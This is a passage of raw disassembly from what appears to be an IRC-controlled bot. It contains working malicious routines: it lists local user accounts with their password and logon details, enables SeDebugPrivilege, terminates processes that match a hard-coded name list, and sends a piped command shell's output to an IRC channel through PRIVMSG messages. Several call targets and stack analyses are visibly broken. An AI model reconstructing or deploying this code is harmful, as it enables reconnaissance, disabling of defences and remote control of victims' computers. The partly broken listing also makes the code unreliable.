; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_0 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C266
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439CE8
push eax
call sub_41C266
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA64
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB934
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439ED8
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_4198DE
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_41991D: ; CODE XREF: sub_41982C+B4j
lea eax, [ebp+var_218]
push offset unk_439EA4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 1Ch
loc_419947: ; CODE XREF: sub_41982C+9Ej
; sub_41982C+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41995A
push edi
call dword_4CBA64
xor edi, edi
mov [ebp+var_4], edi
loc_41995A: ; CODE XREF: sub_41982C+A5j
; sub_41982C+120j
cmp [ebp+var_C], 0EAh
jz loc_41986B
cmp edi, esi
jz short loc_419972
push edi
call dword_4CBA64
loc_419972: ; CODE XREF: sub_41982C+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41982C endp
; =============== S U B R O U T I N E =======================================
sub_4199AC proc near ; CODE XREF: sub_418FE5+41p
; sub_4191DB+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419A5E
jz loc_419A57
cmp eax, 7Bh
ja short loc_419A23
jz short loc_419A19
cmp eax, 5
jz short loc_419A0F
cmp eax, 8
jz short loc_419A05
cmp eax, 32h
jz short loc_4199FB
cmp eax, 35h
jz short loc_4199F1
cmp eax, 57h
jnz loc_419AAD
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199F1: ; CODE XREF: sub_4199AC+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_4199FB: ; CODE XREF: sub_4199AC+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A05: ; CODE XREF: sub_4199AC+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A0F: ; CODE XREF: sub_4199AC+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A19: ; CODE XREF: sub_4199AC+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A23: ; CODE XREF: sub_4199AC+1Aj
sub eax, 7Ch
jz short loc_419A50
sub eax, 7C8h
jz short loc_419A49
dec eax
jz short loc_419A3F
dec eax
jnz short loc_419AAD
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A3F: ; CODE XREF: sub_4199AC+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419ACE
; ---------------------------------------------------------------------------
loc_419A49: ; CODE XREF: sub_4199AC+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A50: ; CODE XREF: sub_4199AC+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A57: ; CODE XREF: sub_4199AC+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A5E: ; CODE XREF: sub_4199AC+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_419A97
jz short loc_419A90
sub eax, 8ADh
jz short loc_419AC2
dec eax
dec eax
jz short loc_419A89
dec eax
jz short loc_419A82
dec eax
dec eax
jnz short loc_419AAD
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A82: ; CODE XREF: sub_4199AC+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A89: ; CODE XREF: sub_4199AC+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A90: ; CODE XREF: sub_4199AC+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419A97: ; CODE XREF: sub_4199AC+B9j
sub eax, 8CAh
jz short loc_419AC9
sub eax, 17h
jz short loc_419AC2
sub eax, 25h
jz short loc_419ABB
sub eax, 29h
jz short loc_419AB4
loc_419AAD: ; CODE XREF: sub_4199AC+35j
; sub_4199AC+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AB4: ; CODE XREF: sub_4199AC+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419ABB: ; CODE XREF: sub_4199AC+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC2: ; CODE XREF: sub_4199AC+C2j
; sub_4199AC+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419ACE
; ---------------------------------------------------------------------------
loc_419AC9: ; CODE XREF: sub_4199AC+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419ACE: ; CODE XREF: sub_4199AC+40j
; sub_4199AC+4Aj ...
push offset dword_4DB5E0
call sub_41C266
pop ecx
mov eax, offset dword_4DB5E0
pop ecx
retn
sub_4199AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419AE0 proc near ; CODE XREF: sub_401ACD+467Fp
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41E0D4
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26D0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41E0D4
lea eax, [ebp+var_718]
push eax
call sub_41E0B7
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CB9E4
test eax, eax
jnz short loc_419B70
mov esi, offset dword_4DB3DC
push offset unk_43A20C
push esi
call sub_41C266
pop ecx
pop ecx
jmp short loc_419B99
; ---------------------------------------------------------------------------
loc_419B70: ; CODE XREF: sub_419AE0+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4199AC
pop ecx
mov esi, offset dword_4DB3DC
push eax
push offset dword_43A1E0
push esi
call sub_41C266
add esp, 14h
loc_419B99: ; CODE XREF: sub_419AE0+8Ej
mov eax, esi
pop esi
leave
retn
sub_419AE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B9E proc near ; CODE XREF: sub_4172C1+45p
; sub_4172C1+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
nop
call near ptr 273094Dh
push eax
call dword_4CB9B8
test eax, eax
jnz short loc_419BBD
leave
retn
; ---------------------------------------------------------------------------
loc_419BBD: ; CODE XREF: sub_419B9E+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CB990
test eax, eax
jz short loc_419BFB
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419BE4
or [ebp+var_8], 2
jmp short loc_419BE8
; ---------------------------------------------------------------------------
loc_419BE4: ; CODE XREF: sub_419B9E+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_419BE8: ; CODE XREF: sub_419B9E+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CBA40
mov esi, eax
loc_419BFB: ; CODE XREF: sub_419B9E+32j
push [ebp+var_4]
nop
call near ptr 2670770h
mov eax, esi
pop esi
leave
retn
sub_419B9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C09 proc near ; CODE XREF: sub_401ACD+7770p
; sub_419E38+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CB9F4, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_419E08
cmp dword_4CB9D8, ebx
jz loc_419E08
cmp dword_4CB8E8, ebx
jz loc_419E08
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CB9F4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_419DFB
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CB9D8
mov esi, dword_427070
test eax, eax
jz loc_419DF6
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CB8E8
test eax, eax
jz loc_419DF6
mov edi, dword_42708C
mov ebx, 1F0FFFh
loc_419CCD: ; CODE XREF: sub_419C09+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_419D34
mov [ebp+var_4], offset off_43A238
loc_419CDB: ; CODE XREF: sub_419C09+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 2841B88h
test eax, eax
jz short loc_419D03
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_43A298
jb short loc_419CDB
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D03: ; CODE XREF: sub_419C09+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_419DDC
push 0
push eax
nop
call near ptr 2730250h
test eax, eax
jnz loc_419DDC
loc_419D2A: ; CODE XREF: sub_419C09+1B9j
push [ebp+var_4]
call esi
jmp loc_419DDC
; ---------------------------------------------------------------------------
loc_419D34: ; CODE XREF: sub_419C09+C9j
cmp [ebp+arg_C], eax
jnz loc_419DC7
cmp [ebp+arg_4], eax
jz loc_419DDC
push [ebp+var_128]
push 8
call dword_4CB9F4
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_419D87
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CB894
push [ebp+var_128]
test eax, eax
jz short loc_419D8D
lea eax, [ebp+var_234]
jmp short loc_419D93
; ---------------------------------------------------------------------------
loc_419D87: ; CODE XREF: sub_419C09+15Cj
push [ebp+var_128]
loc_419D8D: ; CODE XREF: sub_419C09+174j
lea eax, [ebp+var_10C]
loc_419D93: ; CODE XREF: sub_419C09+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
jmp loc_419D2A
; ---------------------------------------------------------------------------
loc_419DC7: ; CODE XREF: sub_419C09+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_419E0F
loc_419DDC: ; CODE XREF: sub_419C09+F5j
; sub_419C09+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CB8E8
test eax, eax
jnz loc_419CCD
xor ebx, ebx
loc_419DF6: ; CODE XREF: sub_419C09+9Dj
; sub_419C09+B3j
push [ebp+var_8]
call esi
loc_419DFB: ; CODE XREF: sub_419C09+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
loc_419E08: ; CODE XREF: sub_419C09+3Aj
; sub_419C09+46j ...
xor eax, eax
loc_419E0A: ; CODE XREF: sub_419C09+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_419E0F: ; CODE XREF: sub_419C09+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 2730250h
nop
test eax, eax
jnz short loc_419E33
push edi
call esi
jmp short loc_419E08
; ---------------------------------------------------------------------------
loc_419E33: ; CODE XREF: sub_419C09+223j
push 1
pop eax
jmp short loc_419E0A
sub_419C09 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E38 proc near ; DATA XREF: sub_401ACD+2687o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_43A438
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41C266
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_419E97
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419E97: ; CODE XREF: sub_419E38+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_419C09
add esp, 18h
test eax, eax
jnz short loc_419EBF
push offset unk_43A414
jmp short loc_419EC4
; ---------------------------------------------------------------------------
loc_419EBF: ; CODE XREF: sub_419E38+7Ej
push offset unk_43A3F0
loc_419EC4: ; CODE XREF: sub_419E38+85j
lea eax, [ebp+var_298]
push eax
call sub_41C266
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_419EF7
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409869
add esp, 14h
loc_419EF7: ; CODE XREF: sub_419E38+9Dj
lea eax, [ebp+var_298]
push eax
call sub_415D38
push [ebp+var_14]
call sub_40B6D6
pop ecx
pop ecx
push esi
nop
call near ptr 26F0A80h
pop edi
pop esi
sub_419E38 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_419F16 proc near ; CODE XREF: sub_401ACD+7712p
; sub_40B4F5+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 26902E0h
nop
mov esi, eax
test esi, esi
jz short loc_419F48
push 0
push esi
call near ptr 2730250h
nop
test eax, eax
jnz short loc_419F48
push esi
xor edi, edi
nop
call near ptr 2670770h
loc_419F48: ; CODE XREF: sub_419F16+1Aj
; sub_419F16+27j
mov eax, edi
pop edi
pop esi
retn
sub_419F16 endp
; ---------------------------------------------------------------------------
byte_419F4D db 56h, 33h, 0F6h ; DATA XREF: ___:004015EEo
dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
dd 8DE89000h, 0EB02266Fh
db 0E3h
; =============== S U B R O U T I N E =======================================
sub_419F6D proc near ; CODE XREF: sub_419F9D+2Ap
; sub_419FD5+7Ep ...
mov eax, dword_4DBC48
push esi
mov esi, dword_427070
cmp eax, 0FFFFFFFFh
jz short loc_419F81
push eax
call esi
loc_419F81: ; CODE XREF: sub_419F6D+Fj
mov eax, dword_4DBC50
cmp eax, 0FFFFFFFFh
jz short loc_419F8E
push eax
call esi
loc_419F8E: ; CODE XREF: sub_419F6D+1Cj
mov eax, dword_4DBC44
cmp eax, 0FFFFFFFFh
jz short loc_419F9B
push eax
call esi
loc_419F9B: ; CODE XREF: sub_419F6D+29j
pop esi
retn
sub_419F6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419F9D proc near ; CODE XREF: sub_401ACD+7475p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41B9C0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DBC4C
nop
call near ptr 2720000h
test eax, eax
jnz short loc_419FD0
call sub_419F6D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419FD0: ; CODE XREF: sub_419F9D+28j
push 1
pop eax
leave
retn
sub_419F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FD5 proc near ; CODE XREF: sub_41A05C+D3p
; sub_41A05C+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset byte_43DB88
push [ebp+arg_4]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41A018
push 7D0h
nop
call near ptr 2680EF8h
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41C266
add esp, 10h
jmp short loc_41A02F
; ---------------------------------------------------------------------------
loc_41A018: ; CODE XREF: sub_419FD5+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41C266
add esp, 0Ch
loc_41A02F: ; CODE XREF: sub_419FD5+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CBA24
test eax, eax
jg short loc_41A058
call sub_419F6D
loc_41A058: ; CODE XREF: sub_419FD5+7Cj
xor eax, eax
leave
retn
sub_419FD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A05C proc near ; DATA XREF: sub_41A1B1+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DBC54
loc_41A074: ; CODE XREF: sub_41A05C+79j
; sub_41A05C+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DBC48
nop
call near ptr 28504F5h
test eax, eax
jz loc_41A142
cmp [ebp+var_4], edi
jnz short loc_41A0D7
lea eax, [ebp+var_8]
push eax
push dword_4DBC44
nop
call near ptr 2850000h
test eax, eax
jz short loc_41A0CD
cmp [ebp+var_8], 103h
jnz loc_41A166
loc_41A0CD: ; CODE XREF: sub_41A05C+62j
push 0Ah
nop
call near ptr 2680EF8h
jmp short loc_41A074
; ---------------------------------------------------------------------------
loc_41A0D7: ; CODE XREF: sub_41A05C+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_41A0EE
loc_41A0DE: ; CODE XREF: sub_41A05C+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_41A13C
inc eax
cmp eax, [ebp+var_4]
jb short loc_41A0DE
loc_41A0EE: ; CODE XREF: sub_41A05C+80j
mov [ebp+var_4], esi
loc_41A0F1: ; CODE XREF: sub_41A05C+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DBC48
nop
call near ptr 271129Ah
test eax, eax
jz short loc_41A18E
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DBC88
call sub_419FD5
add esp, 0Ch
jmp loc_41A074
; ---------------------------------------------------------------------------
loc_41A13C: ; CODE XREF: sub_41A05C+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_41A0F1
; ---------------------------------------------------------------------------
loc_41A142: ; CODE XREF: sub_41A05C+45j
push offset unk_43A4C0
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push 1
nop
call near ptr 26F0A80h
loc_41A166: ; CODE XREF: sub_41A05C+6Bj
call sub_419F6D
push offset unk_43A498
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call near ptr 26F0A80h
nop
loc_41A18E: ; CODE XREF: sub_41A05C+C3j
push offset unk_43A468
push ebx
push dword_4DBC88
call sub_419FD5
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call near ptr 26F0A80h
nop
sub_41A05C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A1B1 proc near ; CODE XREF: sub_401ACD+24AAp
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
